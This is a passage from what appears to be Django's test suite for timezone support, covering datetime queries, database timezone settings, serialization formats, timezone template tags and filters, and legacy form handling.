        self.assertEqual(Event.objects.filter(dt__day=1).count(), 2)
        self.assertEqual(Event.objects.filter(dt__week_day=7).count(), 2)
        self.assertEqual(Event.objects.filter(dt__hour=1).count(), 1)
        self.assertEqual(Event.objects.filter(dt__minute=30).count(), 2)
        self.assertEqual(Event.objects.filter(dt__second=0).count(), 2)

    @skipUnlessDBFeature('has_zoneinfo_database')
    def test_query_datetime_lookups_in_other_timezone(self):
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 1, 30, 0, tzinfo=EAT))
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 4, 30, 0, tzinfo=EAT))
        with timezone.override(UTC):
            # These two dates fall in the same day in EAT, but in different days,
            # years and months in UTC.
            self.assertEqual(Event.objects.filter(dt__year=2011).count(), 1)
            self.assertEqual(Event.objects.filter(dt__month=1).count(), 1)
            self.assertEqual(Event.objects.filter(dt__day=1).count(), 1)
            self.assertEqual(Event.objects.filter(dt__week_day=7).count(), 1)
            self.assertEqual(Event.objects.filter(dt__hour=22).count(), 1)
            self.assertEqual(Event.objects.filter(dt__minute=30).count(), 2)
            self.assertEqual(Event.objects.filter(dt__second=0).count(), 2)

    def test_query_aggregation(self):
        # Only min and max make sense for datetimes.
        Event.objects.create(dt=datetime.datetime(2011, 9, 1, 23, 20, 20, tzinfo=EAT))
        Event.objects.create(dt=datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT))
        Event.objects.create(dt=datetime.datetime(2011, 9, 1, 3, 20, 40, tzinfo=EAT))
        result = Event.objects.all().aggregate(Min('dt'), Max('dt'))
        self.assertEqual(result, {
            'dt__min': datetime.datetime(2011, 9, 1, 3, 20, 40, tzinfo=EAT),
            'dt__max': datetime.datetime(2011, 9, 1, 23, 20, 20, tzinfo=EAT),
        })

    def test_query_annotation(self):
        # Only min and max make sense for datetimes.
        morning = Session.objects.create(name='morning')
        afternoon = Session.objects.create(name='afternoon')
        SessionEvent.objects.create(dt=datetime.datetime(2011, 9, 1, 23, 20, 20, tzinfo=EAT), session=afternoon)
        SessionEvent.objects.create(dt=datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT), session=afternoon)
        SessionEvent.objects.create(dt=datetime.datetime(2011, 9, 1, 3, 20, 40, tzinfo=EAT), session=morning)
        morning_min_dt = datetime.datetime(2011, 9, 1, 3, 20, 40, tzinfo=EAT)
        afternoon_min_dt = datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)
        self.assertQuerysetEqual(
            Session.objects.annotate(dt=Min('events__dt')).order_by('dt'),
            [morning_min_dt, afternoon_min_dt],
            transform=lambda d: d.dt)
        self.assertQuerysetEqual(
            Session.objects.annotate(dt=Min('events__dt')).filter(dt__lt=afternoon_min_dt),
            [morning_min_dt],
            transform=lambda d: d.dt)
        self.assertQuerysetEqual(
            Session.objects.annotate(dt=Min('events__dt')).filter(dt__gte=afternoon_min_dt),
            [afternoon_min_dt],
            transform=lambda d: d.dt)

    @skipUnlessDBFeature('has_zoneinfo_database')
    def test_query_datetimes(self):
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 1, 30, 0, tzinfo=EAT))
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 4, 30, 0, tzinfo=EAT))
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'year'),
            [datetime.datetime(2011, 1, 1, 0, 0, 0, tzinfo=EAT)],
            transform=lambda d: d)
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'month'),
            [datetime.datetime(2011, 1, 1, 0, 0, 0, tzinfo=EAT)],
            transform=lambda d: d)
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'day'),
            [datetime.datetime(2011, 1, 1, 0, 0, 0, tzinfo=EAT)],
            transform=lambda d: d)
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'hour'),
            [datetime.datetime(2011, 1, 1, 1, 0, 0, tzinfo=EAT),
             datetime.datetime(2011, 1, 1, 4, 0, 0, tzinfo=EAT)],
            transform=lambda d: d)
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'minute'),
            [datetime.datetime(2011, 1, 1, 1, 30, 0, tzinfo=EAT),
             datetime.datetime(2011, 1, 1, 4, 30, 0, tzinfo=EAT)],
            transform=lambda d: d)
        self.assertQuerysetEqual(
            Event.objects.datetimes('dt', 'second'),
            [datetime.datetime(2011, 1, 1, 1, 30, 0, tzinfo=EAT),
             datetime.datetime(2011, 1, 1, 4, 30, 0, tzinfo=EAT)],
            transform=lambda d: d)

    @skipUnlessDBFeature('has_zoneinfo_database')
    def test_query_datetimes_in_other_timezone(self):
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 1, 30, 0, tzinfo=EAT))
        Event.objects.create(dt=datetime.datetime(2011, 1, 1, 4, 30, 0, tzinfo=EAT))
        with timezone.override(UTC):
            self.assertQuerysetEqual(
                Event.objects.datetimes('dt', 'year'),
                [datetime.datetime(2010, 1, 1, 0, 0, 0, tzinfo=UTC),
                 datetime.datetime(2011, 1, 1, 0, 0, 0, tzinfo=UTC)],
                transform=lambda d: d)
            self.assertQuerysetEqual(
                Event.objects.datetimes('dt', 'month'),
                [datetime.datetime(2010, 12, 1, 0, 0, 0, tzinfo=UTC),
                 datetime.datetime(2011, 1, 1, 0, 0, 0, tzinfo=UTC)],
                transform=lambda d: d)
            self.assertQuerysetEqual(
                Event.objects.datetimes('dt', 'day'),
                [datetime.datetime(2010, 12, 31, 0, 0, 0, tzinfo=UTC),
                 datetime.datetime(2011, 1, 1, 0, 0, 0, tzinfo=UTC)],
                transform=lambda d: d)
            self.assertQuerysetEqual(
                Event.objects.datetimes('dt', 'hour'),
                [datetime.datetime(2010, 12, 31, 22, 0, 0, tzinfo=UTC),
                 datetime.datetime(2011, 1, 1, 1, 0, 0, tzinfo=UTC)],
                transform=lambda d: d)
            self.assertQuerysetEqual(
                Event.objects.datetimes('dt', 'minute'),
                [datetime.datetime(2010, 12, 31, 22, 30, 0, tzinfo=UTC),
                 datetime.datetime(2011, 1, 1, 1, 30, 0, tzinfo=UTC)],
                transform=lambda d: d)
            self.assertQuerysetEqual(
                Event.objects.datetimes('dt', 'second'),
                [datetime.datetime(2010, 12, 31, 22, 30, 0, tzinfo=UTC),
                 datetime.datetime(2011, 1, 1, 1, 30, 0, tzinfo=UTC)],
                transform=lambda d: d)

    def test_raw_sql(self):
        # Regression test for #17755
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)
        event = Event.objects.create(dt=dt)
        self.assertQuerysetEqual(
            Event.objects.raw('SELECT * FROM timezones_event WHERE dt = %s', [dt]),
            [event],
            transform=lambda d: d)

    @skipUnlessDBFeature('supports_timezones')
    def test_cursor_execute_accepts_aware_datetime(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)
        with connection.cursor() as cursor:
            cursor.execute('INSERT INTO timezones_event (dt) VALUES (%s)', [dt])
        event = Event.objects.get()
        self.assertEqual(event.dt, dt)

    @skipIfDBFeature('supports_timezones')
    def test_cursor_execute_accepts_naive_datetime(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)
        utc_naive_dt = timezone.make_naive(dt, timezone.utc)
        with connection.cursor() as cursor:
            cursor.execute('INSERT INTO timezones_event (dt) VALUES (%s)', [utc_naive_dt])
        event = Event.objects.get()
        self.assertEqual(event.dt, dt)

    @skipUnlessDBFeature('supports_timezones')
    def test_cursor_execute_returns_aware_datetime(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)
        Event.objects.create(dt=dt)
        with connection.cursor() as cursor:
            cursor.execute('SELECT dt FROM timezones_event WHERE dt = %s', [dt])
            self.assertEqual(cursor.fetchall()[0][0], dt)

    @skipIfDBFeature('supports_timezones')
    def test_cursor_execute_returns_naive_datetime(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)
        utc_naive_dt = timezone.make_naive(dt, timezone.utc)
        Event.objects.create(dt=dt)
        with connection.cursor() as cursor:
            cursor.execute('SELECT dt FROM timezones_event WHERE dt = %s', [utc_naive_dt])
            self.assertEqual(cursor.fetchall()[0][0], utc_naive_dt)

    @requires_tz_support
    def test_filter_date_field_with_aware_datetime(self):
        # Regression test for #17742
        day = datetime.date(2011, 9, 1)
        AllDayEvent.objects.create(day=day)
        # This is 2011-09-02T01:30:00+03:00 in EAT
        dt = datetime.datetime(2011, 9, 1, 22, 30, 0, tzinfo=UTC)
        self.assertFalse(AllDayEvent.objects.filter(day__gte=dt).exists())

    def test_null_datetime(self):
        # Regression test for #17294
        e = MaybeEvent.objects.create()
        self.assertIsNone(e.dt)


@override_settings(TIME_ZONE='Africa/Nairobi', USE_TZ=True)
class ForcedTimeZoneDatabaseTests(TransactionTestCase):
    """
    Test the TIME_ZONE database configuration parameter.

    Since this involves reading and writing to the same database through two
    connections, this is a TransactionTestCase.
    """

    available_apps = ['timezones']

    @classmethod
    def setUpClass(cls):
        # @skipIfDBFeature and @skipUnlessDBFeature cannot be chained. The
        # outermost takes precedence. Handle skipping manually instead.
        if connection.features.supports_timezones:
            raise SkipTest("Database has feature(s) supports_timezones")
        if not connection.features.test_db_allows_multiple_connections:
            raise SkipTest("Database doesn't support feature(s): test_db_allows_multiple_connections")

        super(ForcedTimeZoneDatabaseTests, cls).setUpClass()

    @contextmanager
    def override_database_connection_timezone(self, timezone):
        try:
            orig_timezone = connection.settings_dict['TIME_ZONE']
            connection.settings_dict['TIME_ZONE'] = timezone
            # Clear cached properties, after first accessing them to ensure they exist.
            connection.timezone
            del connection.timezone
            connection.timezone_name
            del connection.timezone_name

            yield

        finally:
            connection.settings_dict['TIME_ZONE'] = orig_timezone
            # Clear cached properties, after first accessing them to ensure they exist.
            connection.timezone
            del connection.timezone
            connection.timezone_name
            del connection.timezone_name

    def test_read_datetime(self):
        fake_dt = datetime.datetime(2011, 9, 1, 17, 20, 30, tzinfo=UTC)
        Event.objects.create(dt=fake_dt)

        with self.override_database_connection_timezone('Asia/Bangkok'):
            event = Event.objects.get()
            dt = datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC)
        self.assertEqual(event.dt, dt)

    def test_write_datetime(self):
        dt = datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC)
        with self.override_database_connection_timezone('Asia/Bangkok'):
            Event.objects.create(dt=dt)

        event = Event.objects.get()
        fake_dt = datetime.datetime(2011, 9, 1, 17, 20, 30, tzinfo=UTC)
        self.assertEqual(event.dt, fake_dt)


@skipUnlessDBFeature('supports_timezones')
@override_settings(TIME_ZONE='Africa/Nairobi', USE_TZ=True)
class UnsupportedTimeZoneDatabaseTests(TestCase):

    def test_time_zone_parameter_not_supported_if_database_supports_timezone(self):
        connections.databases['tz'] = connections.databases['default'].copy()
        connections.databases['tz']['TIME_ZONE'] = 'Asia/Bangkok'
        tz_conn = connections['tz']
        try:
            with self.assertRaises(ImproperlyConfigured):
                tz_conn.cursor()
        finally:
            connections['tz'].close()       # in case the test fails
            del connections['tz']
            del connections.databases['tz']


@override_settings(TIME_ZONE='Africa/Nairobi')
class SerializationTests(SimpleTestCase):

    # Backend-specific notes:
    # - JSON supports only milliseconds, microseconds will be truncated.
    # - PyYAML dumps the UTC offset correctly for timezone-aware datetimes,
    #   but when it loads this representation, it subtracts the offset and
    #   returns a naive datetime object in UTC (http://pyyaml.org/ticket/202).
    # Tests are adapted to take these quirks into account.

    def assert_python_contains_datetime(self, objects, dt):
        self.assertEqual(objects[0]['fields']['dt'], dt)

    def assert_json_contains_datetime(self, json, dt):
        self.assertIn('"fields": {"dt": "%s"}' % dt, json)

    def assert_xml_contains_datetime(self, xml, dt):
        field = parseString(xml).getElementsByTagName('field')[0]
        self.assertXMLEqual(field.childNodes[0].wholeText, dt)

    def assert_yaml_contains_datetime(self, yaml, dt):
        # Depending on the yaml dumper, '!timestamp' might be absent
        six.assertRegex(self, yaml, r"\n  fields: {dt: !(!timestamp)? '%s'}" % re.escape(dt))

    def test_naive_datetime(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30)

        data = serializers.serialize('python', [Event(dt=dt)])
        self.assert_python_contains_datetime(data, dt)
        obj = next(serializers.deserialize('python', data)).object
        self.assertEqual(obj.dt, dt)

        data = serializers.serialize('json', [Event(dt=dt)])
        self.assert_json_contains_datetime(data, "2011-09-01T13:20:30")
        obj = next(serializers.deserialize('json', data)).object
        self.assertEqual(obj.dt, dt)

        data = serializers.serialize('xml', [Event(dt=dt)])
        self.assert_xml_contains_datetime(data, "2011-09-01T13:20:30")
        obj = next(serializers.deserialize('xml', data)).object
        self.assertEqual(obj.dt, dt)

        if not isinstance(serializers.get_serializer('yaml'), serializers.BadSerializer):
            data = serializers.serialize('yaml', [Event(dt=dt)])
            self.assert_yaml_contains_datetime(data, "2011-09-01 13:20:30")
            obj = next(serializers.deserialize('yaml', data)).object
            self.assertEqual(obj.dt, dt)

    def test_naive_datetime_with_microsecond(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, 405060)

        data = serializers.serialize('python', [Event(dt=dt)])
        self.assert_python_contains_datetime(data, dt)
        obj = next(serializers.deserialize('python', data)).object
        self.assertEqual(obj.dt, dt)

        data = serializers.serialize('json', [Event(dt=dt)])
        self.assert_json_contains_datetime(data, "2011-09-01T13:20:30.405")
        obj = next(serializers.deserialize('json', data)).object
        self.assertEqual(obj.dt, dt.replace(microsecond=405000))

        data = serializers.serialize('xml', [Event(dt=dt)])
        self.assert_xml_contains_datetime(data, "2011-09-01T13:20:30.405060")
        obj = next(serializers.deserialize('xml', data)).object
        self.assertEqual(obj.dt, dt)

        if not isinstance(serializers.get_serializer('yaml'), serializers.BadSerializer):
            data = serializers.serialize('yaml', [Event(dt=dt)])
            self.assert_yaml_contains_datetime(data, "2011-09-01 13:20:30.405060")
            obj = next(serializers.deserialize('yaml', data)).object
            self.assertEqual(obj.dt, dt)

    def test_aware_datetime_with_microsecond(self):
        dt = datetime.datetime(2011, 9, 1, 17, 20, 30, 405060, tzinfo=ICT)

        data = serializers.serialize('python', [Event(dt=dt)])
        self.assert_python_contains_datetime(data, dt)
        obj = next(serializers.deserialize('python', data)).object
        self.assertEqual(obj.dt, dt)

        data = serializers.serialize('json', [Event(dt=dt)])
        self.assert_json_contains_datetime(data, "2011-09-01T17:20:30.405+07:00")
        obj = next(serializers.deserialize('json', data)).object
        self.assertEqual(obj.dt, dt.replace(microsecond=405000))

        data = serializers.serialize('xml', [Event(dt=dt)])
        self.assert_xml_contains_datetime(data, "2011-09-01T17:20:30.405060+07:00")
        obj = next(serializers.deserialize('xml', data)).object
        self.assertEqual(obj.dt, dt)

        if not isinstance(serializers.get_serializer('yaml'), serializers.BadSerializer):
            data = serializers.serialize('yaml', [Event(dt=dt)])
            self.assert_yaml_contains_datetime(data, "2011-09-01 17:20:30.405060+07:00")
            obj = next(serializers.deserialize('yaml', data)).object
            self.assertEqual(obj.dt.replace(tzinfo=UTC), dt)

    def test_aware_datetime_in_utc(self):
        dt = datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC)

        data = serializers.serialize('python', [Event(dt=dt)])
        self.assert_python_contains_datetime(data, dt)
        obj = next(serializers.deserialize('python', data)).object
        self.assertEqual(obj.dt, dt)

        data = serializers.serialize('json', [Event(dt=dt)])
        self.assert_json_contains_datetime(data, "2011-09-01T10:20:30Z")
        obj = next(serializers.deserialize('json', data)).object
        self.assertEqual(obj.dt, dt)

        data = serializers.serialize('xml', [Event(dt=dt)])
        self.assert_xml_contains_datetime(data, "2011-09-01T10:20:30+00:00")
        obj = next(serializers.deserialize('xml', data)).object
        self.assertEqual(obj.dt, dt)

        if not isinstance(serializers.get_serializer('yaml'), serializers.BadSerializer):
            data = serializers.serialize('yaml', [Event(dt=dt)])
            self.assert_yaml_contains_datetime(data, "2011-09-01 10:20:30+00:00")
            obj = next(serializers.deserialize('yaml', data)).object
            self.assertEqual(obj.dt.replace(tzinfo=UTC), dt)

    def test_aware_datetime_in_local_timezone(self):
        dt = datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT)

        data = serializers.serialize('python', [Event(dt=dt)])
        self.assert_python_contains_datetime(data, dt)
        obj = next(serializers.deserialize('python', data)).object
        self.assertEqual(obj.dt, dt)

        data = serializers.serialize('json', [Event(dt=dt)])
        self.assert_json_contains_datetime(data, "2011-09-01T13:20:30+03:00")
        obj = next(serializers.deserialize('json', data)).object
        self.assertEqual(obj.dt, dt)

        data = serializers.serialize('xml', [Event(dt=dt)])
        self.assert_xml_contains_datetime(data, "2011-09-01T13:20:30+03:00")
        obj = next(serializers.deserialize('xml', data)).object
        self.assertEqual(obj.dt, dt)

        if not isinstance(serializers.get_serializer('yaml'), serializers.BadSerializer):
            data = serializers.serialize('yaml', [Event(dt=dt)])
            self.assert_yaml_contains_datetime(data, "2011-09-01 13:20:30+03:00")
            obj = next(serializers.deserialize('yaml', data)).object
            self.assertEqual(obj.dt.replace(tzinfo=UTC), dt)

    def test_aware_datetime_in_other_timezone(self):
        dt = datetime.datetime(2011, 9, 1, 17, 20, 30, tzinfo=ICT)

        data = serializers.serialize('python', [Event(dt=dt)])
        self.assert_python_contains_datetime(data, dt)
        obj = next(serializers.deserialize('python', data)).object
        self.assertEqual(obj.dt, dt)

        data = serializers.serialize('json', [Event(dt=dt)])
        self.assert_json_contains_datetime(data, "2011-09-01T17:20:30+07:00")
        obj = next(serializers.deserialize('json', data)).object
        self.assertEqual(obj.dt, dt)

        data = serializers.serialize('xml', [Event(dt=dt)])
        self.assert_xml_contains_datetime(data, "2011-09-01T17:20:30+07:00")
        obj = next(serializers.deserialize('xml', data)).object
        self.assertEqual(obj.dt, dt)

        if not isinstance(serializers.get_serializer('yaml'), serializers.BadSerializer):
            data = serializers.serialize('yaml', [Event(dt=dt)])
            self.assert_yaml_contains_datetime(data, "2011-09-01 17:20:30+07:00")
            obj = next(serializers.deserialize('yaml', data)).object
            self.assertEqual(obj.dt.replace(tzinfo=UTC), dt)


@override_settings(DATETIME_FORMAT='c', TIME_ZONE='Africa/Nairobi', USE_L10N=False, USE_TZ=True)
class TemplateTests(SimpleTestCase):

    @requires_tz_support
    def test_localtime_templatetag_and_filters(self):
        """
        Test the {% localtime %} templatetag and related filters.
        """
        datetimes = {
            'utc': datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC),
            'eat': datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT),
            'ict': datetime.datetime(2011, 9, 1, 17, 20, 30, tzinfo=ICT),
            'naive': datetime.datetime(2011, 9, 1, 13, 20, 30),
        }
        templates = {
            'notag': Template("{% load tz %}{{ dt }}|{{ dt|localtime }}|{{ dt|utc }}|{{ dt|timezone:ICT }}"),
            'noarg': Template(
                "{% load tz %}{% localtime %}{{ dt }}|{{ dt|localtime }}|"
                "{{ dt|utc }}|{{ dt|timezone:ICT }}{% endlocaltime %}"
            ),
            'on': Template(
                "{% load tz %}{% localtime on %}{{ dt }}|{{ dt|localtime }}|"
                "{{ dt|utc }}|{{ dt|timezone:ICT }}{% endlocaltime %}"
            ),
            'off': Template(
                "{% load tz %}{% localtime off %}{{ dt }}|{{ dt|localtime }}|"
                "{{ dt|utc }}|{{ dt|timezone:ICT }}{% endlocaltime %}"
            ),
        }

        # Transform a list of keys in 'datetimes' to the expected template
        # output. This makes the definition of 'results' more readable.
        def t(*result):
            return '|'.join(datetimes[key].isoformat() for key in result)

        # Results for USE_TZ = True

        results = {
            'utc': {
                'notag': t('eat', 'eat', 'utc', 'ict'),
                'noarg': t('eat', 'eat', 'utc', 'ict'),
                'on': t('eat', 'eat', 'utc', 'ict'),
                'off': t('utc', 'eat', 'utc', 'ict'),
            },
            'eat': {
                'notag': t('eat', 'eat', 'utc', 'ict'),
                'noarg': t('eat', 'eat', 'utc', 'ict'),
                'on': t('eat', 'eat', 'utc', 'ict'),
                'off': t('eat', 'eat', 'utc', 'ict'),
            },
            'ict': {
                'notag': t('eat', 'eat', 'utc', 'ict'),
                'noarg': t('eat', 'eat', 'utc', 'ict'),
                'on': t('eat', 'eat', 'utc', 'ict'),
                'off': t('ict', 'eat', 'utc', 'ict'),
            },
            'naive': {
                'notag': t('naive', 'eat', 'utc', 'ict'),
                'noarg': t('naive', 'eat', 'utc', 'ict'),
                'on': t('naive', 'eat', 'utc', 'ict'),
                'off': t('naive', 'eat', 'utc', 'ict'),
            }
        }

        for k1, dt in six.iteritems(datetimes):
            for k2, tpl in six.iteritems(templates):
                ctx = Context({'dt': dt, 'ICT': ICT})
                actual = tpl.render(ctx)
                expected = results[k1][k2]
                self.assertEqual(actual, expected, '%s / %s: %r != %r' % (k1, k2, actual, expected))

        # Changes for USE_TZ = False

        results['utc']['notag'] = t('utc', 'eat', 'utc', 'ict')
        results['ict']['notag'] = t('ict', 'eat', 'utc', 'ict')

        with self.settings(USE_TZ=False):
            for k1, dt in six.iteritems(datetimes):
                for k2, tpl in six.iteritems(templates):
                    ctx = Context({'dt': dt, 'ICT': ICT})
                    actual = tpl.render(ctx)
                    expected = results[k1][k2]
                    self.assertEqual(actual, expected, '%s / %s: %r != %r' % (k1, k2, actual, expected))

    @requires_pytz
    def test_localtime_filters_with_pytz(self):
        """
        Test the |localtime, |utc, and |timezone filters with pytz.
        """
        # Use a pytz timezone as local time
        tpl = Template("{% load tz %}{{ dt|localtime }}|{{ dt|utc }}")
        ctx = Context({'dt': datetime.datetime(2011, 9, 1, 12, 20, 30)})

        with self.settings(TIME_ZONE='Europe/Paris'):
            self.assertEqual(tpl.render(ctx), "2011-09-01T12:20:30+02:00|2011-09-01T10:20:30+00:00")

        # Use a pytz timezone as argument
        tpl = Template("{% load tz %}{{ dt|timezone:tz }}")
        ctx = Context({'dt': datetime.datetime(2011, 9, 1, 13, 20, 30),
                       'tz': pytz.timezone('Europe/Paris')})
        self.assertEqual(tpl.render(ctx), "2011-09-01T12:20:30+02:00")

        # Use a pytz timezone name as argument
        tpl = Template("{% load tz %}{{ dt|timezone:'Europe/Paris' }}")
        ctx = Context({'dt': datetime.datetime(2011, 9, 1, 13, 20, 30),
                       'tz': pytz.timezone('Europe/Paris')})
        self.assertEqual(tpl.render(ctx), "2011-09-01T12:20:30+02:00")

    def test_localtime_templatetag_invalid_argument(self):
        with self.assertRaises(TemplateSyntaxError):
            Template("{% load tz %}{% localtime foo %}{% endlocaltime %}").render()

    def test_localtime_filters_do_not_raise_exceptions(self):
        """
        Test the |localtime, |utc, and |timezone filters on bad inputs.
        """
        tpl = Template("{% load tz %}{{ dt }}|{{ dt|localtime }}|{{ dt|utc }}|{{ dt|timezone:tz }}")
        with self.settings(USE_TZ=True):
            # bad datetime value
            ctx = Context({'dt': None, 'tz': ICT})
            self.assertEqual(tpl.render(ctx), "None|||")
            ctx = Context({'dt': 'not a date', 'tz': ICT})
            self.assertEqual(tpl.render(ctx), "not a date|||")
            # bad timezone value
            tpl = Template("{% load tz %}{{ dt|timezone:tz }}")
            ctx = Context({'dt': datetime.datetime(2011, 9, 1, 13, 20, 30), 'tz': None})
            self.assertEqual(tpl.render(ctx), "")
            ctx = Context({'dt': datetime.datetime(2011, 9, 1, 13, 20, 30), 'tz': 'not a tz'})
            self.assertEqual(tpl.render(ctx), "")

    @requires_tz_support
    def test_timezone_templatetag(self):
        """
        Test the {% timezone %} templatetag.
        """
        tpl = Template(
            "{% load tz %}"
            "{{ dt }}|"
            "{% timezone tz1 %}"
            "{{ dt }}|"
            "{% timezone tz2 %}"
            "{{ dt }}"
            "{% endtimezone %}"
            "{% endtimezone %}"
        )
        ctx = Context({'dt': datetime.datetime(2011, 9, 1, 10, 20, 30, tzinfo=UTC),
                       'tz1': ICT, 'tz2': None})
        self.assertEqual(
            tpl.render(ctx),
            "2011-09-01T13:20:30+03:00|2011-09-01T17:20:30+07:00|2011-09-01T13:20:30+03:00"
        )

    @requires_pytz
    def test_timezone_templatetag_with_pytz(self):
        """
        Test the {% timezone %} templatetag with pytz.
        """
        tpl = Template("{% load tz %}{% timezone tz %}{{ dt }}{% endtimezone %}")

        # Use a pytz timezone as argument
        ctx = Context({'dt': datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT),
                       'tz': pytz.timezone('Europe/Paris')})
        self.assertEqual(tpl.render(ctx), "2011-09-01T12:20:30+02:00")

        # Use a pytz timezone name as argument
        ctx = Context({'dt': datetime.datetime(2011, 9, 1, 13, 20, 30, tzinfo=EAT),
                       'tz': 'Europe/Paris'})
        self.assertEqual(tpl.render(ctx), "2011-09-01T12:20:30+02:00")

    def test_timezone_templatetag_invalid_argument(self):
        with self.assertRaises(TemplateSyntaxError):
            Template("{% load tz %}{% timezone %}{% endtimezone %}").render()
        with self.assertRaises(ValueError if pytz is None else pytz.UnknownTimeZoneError):
            Template("{% load tz %}{% timezone tz %}{% endtimezone %}").render(Context({'tz': 'foobar'}))

    @skipIf(sys.platform.startswith('win'), "Windows uses non-standard time zone names")
    def test_get_current_timezone_templatetag(self):
        """
        Test the {% get_current_timezone %} templatetag.
        """
        tpl = Template("{% load tz %}{% get_current_timezone as time_zone %}{{ time_zone }}")

        self.assertEqual(tpl.render(Context()), "Africa/Nairobi" if pytz else "EAT")
        with timezone.override(UTC):
            self.assertEqual(tpl.render(Context()), "UTC")

        tpl = Template(
            "{% load tz %}{% timezone tz %}{% get_current_timezone as time_zone %}"
            "{% endtimezone %}{{ time_zone }}"
        )

        self.assertEqual(tpl.render(Context({'tz': ICT})), "+0700")
        with timezone.override(UTC):
            self.assertEqual(tpl.render(Context({'tz': ICT})), "+0700")

    @requires_pytz
    def test_get_current_timezone_templatetag_with_pytz(self):
        """
        Test the {% get_current_timezone %} templatetag with pytz.
        """
        tpl = Template("{% load tz %}{% get_current_timezone as time_zone %}{{ time_zone }}")
        with timezone.override(pytz.timezone('Europe/Paris')):
            self.assertEqual(tpl.render(Context()), "Europe/Paris")

        tpl = Template(
            "{% load tz %}{% timezone 'Europe/Paris' %}"
            "{% get_current_timezone as time_zone %}{% endtimezone %}"
            "{{ time_zone }}"
        )
        self.assertEqual(tpl.render(Context()), "Europe/Paris")

    def test_get_current_timezone_templatetag_invalid_argument(self):
        with self.assertRaises(TemplateSyntaxError):
            Template("{% load tz %}{% get_current_timezone %}").render()

    @skipIf(sys.platform.startswith('win'), "Windows uses non-standard time zone names")
    def test_tz_template_context_processor(self):
        """
        Test the django.template.context_processors.tz template context processor.
        """
        tpl = Template("{{ TIME_ZONE }}")
        context = Context()
        self.assertEqual(tpl.render(context), "")
        request_context = RequestContext(HttpRequest(), processors=[context_processors.tz])
        self.assertEqual(tpl.render(request_context), "Africa/Nairobi" if pytz else "EAT")

    @requires_tz_support
    def test_date_and_time_template_filters(self):
        tpl = Template("{{ dt|date:'Y-m-d' }} at {{ dt|time:'H:i:s' }}")
        ctx = Context({'dt': datetime.datetime(2011, 9, 1, 20, 20, 20, tzinfo=UTC)})
        self.assertEqual(tpl.render(ctx), "2011-09-01 at 23:20:20")
        with timezone.override(ICT):
            self.assertEqual(tpl.render(ctx), "2011-09-02 at 03:20:20")

    def test_date_and_time_template_filters_honor_localtime(self):
        tpl = Template(
            "{% load tz %}{% localtime off %}{{ dt|date:'Y-m-d' }} at "
            "{{ dt|time:'H:i:s' }}{% endlocaltime %}"
        )
        ctx = Context({'dt': datetime.datetime(2011, 9, 1, 20, 20, 20, tzinfo=UTC)})
        self.assertEqual(tpl.render(ctx), "2011-09-01 at 20:20:20")
        with timezone.override(ICT):
            self.assertEqual(tpl.render(ctx), "2011-09-01 at 20:20:20")

    def test_localtime_with_time_zone_setting_set_to_none(self):
        # Regression for #17274
        tpl = Template("{% load tz %}{{ dt }}")
        ctx = Context({'dt': datetime.datetime(2011, 9, 1, 12, 20, 30, tzinfo=EAT)})

        with self.settings(TIME_ZONE=None):
            # the actual value depends on the system time zone of the host
            self.assertTrue(tpl.render(ctx).startswith("2011"))

    @requires_tz_support
    def test_now_template_tag_uses_current_time_zone(self):
        # Regression for #17343
        tpl = Template("{% now \"O\" %}")
        self.assertEqual(tpl.render(Context({})), "+0300")
        with timezone.override(ICT):
            self.assertEqual(tpl.render(Context({})), "+0700")


@override_settings(DATETIME_FORMAT='c', TIME_ZONE='Africa/Nairobi', USE_L10N=False, USE_TZ=False)
class LegacyFormsTests(TestCase):

    def test_form(self):
        form = EventForm({'dt': '2011-09-01 13:20:30'})
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['dt'], datetime.datetime(2011, 9, 1, 13, 20, 30))

    @requires_pytz
    def test_form_with_non_existent_time(self):
        form = EventForm({'dt': '2011-03-27 02:30:00'})
        with timezone.override(pytz.timezone('Europe/Paris')):
            # this is obviously a bug
            self.assertTrue(form.is_valid())
            self.assertEqual(form.cleaned_data['dt'], datetime.datetime(2011, 3, 27, 2, 30, 0))

    @requires_pytz
    def test_form_with_ambiguous_time(self):
        form = EventForm({'dt': '2011-10-30 02:30:00'})
        with timezone.override(pytz.timezone('Europe/Paris')):
            # this is obviously a bug
            self.assertTrue(form.is_valid())
            self.assertEqual(form.cleaned_data['dt'], datetime.datetime(2011, 10, 30, 2, 30, 0))

    def test_split_form(self):
        form = EventSplitForm({'dt_0': '2011-09-01', 'dt_1': '13:20:30'})
        self.assertTrue(form.is_valid())
        self.assertEqual(form.cleaned_data['dt'], datetime.datetime(2011, 9, 1, 13, 20, 30))

    def test_model_form(self):
        EventModelForm({'dt': '2011-09-01 13:20:30'}).save()
        e = Event.objects.get()
        self.assertEqual(e.dt, datetime.datetime(2011, 9, 1, 13, 20, 30))


@override_settings(DATETIME_FORMAT='c', TIME_ZONE='Africa/Nairobi', USE_L10N=False, USE_TZ=True)
